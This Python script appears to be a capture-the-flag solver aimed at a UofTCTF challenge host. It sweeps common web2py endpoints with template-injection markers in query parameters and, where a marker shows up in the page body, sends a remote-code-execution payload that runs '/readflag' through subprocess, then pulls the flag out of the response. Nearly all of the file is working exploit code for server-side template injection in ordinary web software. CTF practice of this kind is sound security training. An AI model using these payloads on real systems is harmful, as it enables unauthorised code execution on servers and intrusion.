#!/usr/bin/env python3
"""
Check if web2py is rendering user input directly in the page body
Let's try accessing different standard web2py functions
"""

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def test_all_endpoints_with_ssti():
    """Test all common web2py endpoints"""
    print("="*60)
    print("Testing All Common Web2py Endpoints for SSTI Output")
    print("="*60)
    
    # Common web2py functions/endpoints
    endpoints = [
        "/welcome/default/index",
        "/welcome/default/user",
        "/welcome/default/user/login",
        "/welcome/default/user/register",
        "/welcome/default/user/profile",
        "/welcome/default/user/logout",
        "/welcome/default/download",
        "/welcome/default/call",
        "/welcome/default/data",
        "/welcome/default/error",
        "/admin",
        "/appadmin",
    ]
    
    # Use a unique marker that's easy to spot
    test_marker = "SSTI_OUTPUT_FLAG_12345"
    payload = f"{{{{='{test_marker}'}}}}"
    
    # Also test RCE payload
    rce_payload = "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"
    
    for endpoint in endpoints:
        print(f"\n[>] Testing: {endpoint}")
        
        # Try with query param
        try:
            response = requests.get(
                BASE_URL + endpoint,
                params={"test": payload, "name": payload, "message": payload},
                verify=False,
                timeout=10
            )
            
            print(f"    Status: {response.status_code}")
            
            # Check if our marker appears outside of JavaScript/URL encoding
            if test_marker in response.text:
                # Find all occurrences  
                count = response.text.count(test_marker)
                print(f"    [+] Marker found {count} times!")
                
                # Find contexts where it appears
                idx = 0
                for i in range(min(count, 3)):  # Show first 3
                    idx = response.text.find(test_marker, idx)
                    context = response.text[max(0, idx-100):idx+150]
                    
                    # Check if it's in actual HTML body (not in script or URL)
                    if '<script' not in context and 'test=' not in context:
                        print(f"    [!!!] Found in HTML body! Position {idx}")
                        print(f"    Context: ...{context}...")
                        
                        # Now try RCE payload here
                        print(f"\n[!!!!] This endpoint renders output! Trying RCE...")
                        rce_response = requests.get(
                            BASE_URL + endpoint,
                            params={"test": rce_payload, "name": rce_payload, "message": rce_payload},
                            verify=False,
                            timeout=10
                        )
                        
                        # Look for flag
                        if "uoftctf{" in rce_response.text:
                            print("[SUCCESS] FLAG FOUND!")
                            flags = re.findall(r'uoftctf\{[^}]+\}', rce_response.text)
                            for flag in flags:
                                print(f"\n{'='*60}")
                                print(f"FLAG: {flag}")
                                print(f"{'='*60}\n")
                            return flag
                    idx += 1
                    
        except Exception as e:
            print(f"    Error: {e}")
    
    return None

def check_response_body_rendering():
    """Check if there's a way to get output into the response body"""
    print("\n" + "="*60)
    print("Checking Response Body Rendering")
    print("="*60)
    
    # The hint about react2shell suggests it's about crafting HTTP requests
    # Maybe we need to use a specific HTTP method or header?
    
    payloads_to_test = [
        ("GET", "/welcome/default/index", {"test": "{{='MARKER_IN_GET'}}"}),
        ("POST", "/welcome/default/index", {"test": "{{='MARKER_IN_POST'}}"}),
        ("GET", "/welcome/default/user", {"test": "{{='MARKER_USER_GET'}}"}),
        ("POST", "/welcome/default/user", {"test": "{{='MARKER_USER_POST'}}"}),
    ]
    
    for method, endpoint, params in payloads_to_test:
        print(f"\n[>] {method} {endpoint}")
        
        try:
            if method == "GET":
                response = requests.get(BASE_URL + endpoint, params=params, verify=False, timeout=10)
            else:
                response = requests.post(BASE_URL + endpoint, data=params, verify=False, timeout=10)
            
            # Get the marker we're looking for
            marker = list(params.values())[0].replace("{{='", "").replace("'}}", "")
            
            if marker in response.text:
                print(f"    [+] Marker '{marker}' found!")
                
                # Check all positions
                count = response.text.count(marker)
                for i in range(count):
                    idx = response.text.find(marker, idx if i > 0 else 0)
                    context = response.text[max(0, idx-200):idx+200]
                    
                    # Look for HTML body context (not in <script> or URL)
                    if '<body' in response.text[max(0, idx-1000):idx]:
                        if '</body>' in response.text[idx:min(len(response.text), idx+1000)]:
                            if '<script' not in context and 'test=' not in context:
                                print(f"    [!!!] Found in HTML BODY at position {idx}!")
                                print(f"    Context: ...{context}...")
                                return (method, endpoint, params)
                    
        except Exception as e:
            print(f"    Error: {e}")
    
    return None

if __name__ == "__main__":
    flag = test_all_endpoints_with_ssti()
    
    if not flag:
        result = check_response_body_rendering()
        if result:
            method, endpoint, _ = result
            print(f"\n[*] Found rendering endpoint: {method} {endpoint}")
            print("[*] Try RCE payload on this endpoint!")
        else:
            print("\n[*] Could not find endpoint that renders SSTI output in HTML body")
            print("[*] The vulnerability might be in a different location or require a different approach")
